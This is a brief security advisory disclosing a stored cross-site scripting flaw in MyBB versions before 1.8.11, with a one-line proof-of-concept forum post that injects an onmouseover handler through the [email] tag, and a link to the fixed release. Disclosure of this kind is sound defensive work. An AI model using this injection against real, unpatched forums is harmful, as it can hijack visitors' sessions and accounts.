MyBB versions prior to 1.8.11 suffers from a cross site scripting vulnerability.
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Description:
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product:MyBB
Homepage:https://mybb.com/
vulnerable version:<1.8.11
Severity:High risk
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Proof of Concept:
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1.post a thread or reply any thread ,write:
[email=2"onmouseover="alert(document.location)]hover me[/email]
then when useras mouse hover it,XSS attack will occur!
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Fixed:
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This vulnerability was fixed in version 1.8.11
https://blog.mybb.com/2017/04/04/mybb-1-8-11-merge-system-1-8-11-release/
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Best regards,
Zhiyang Zeng of Tencent security platform department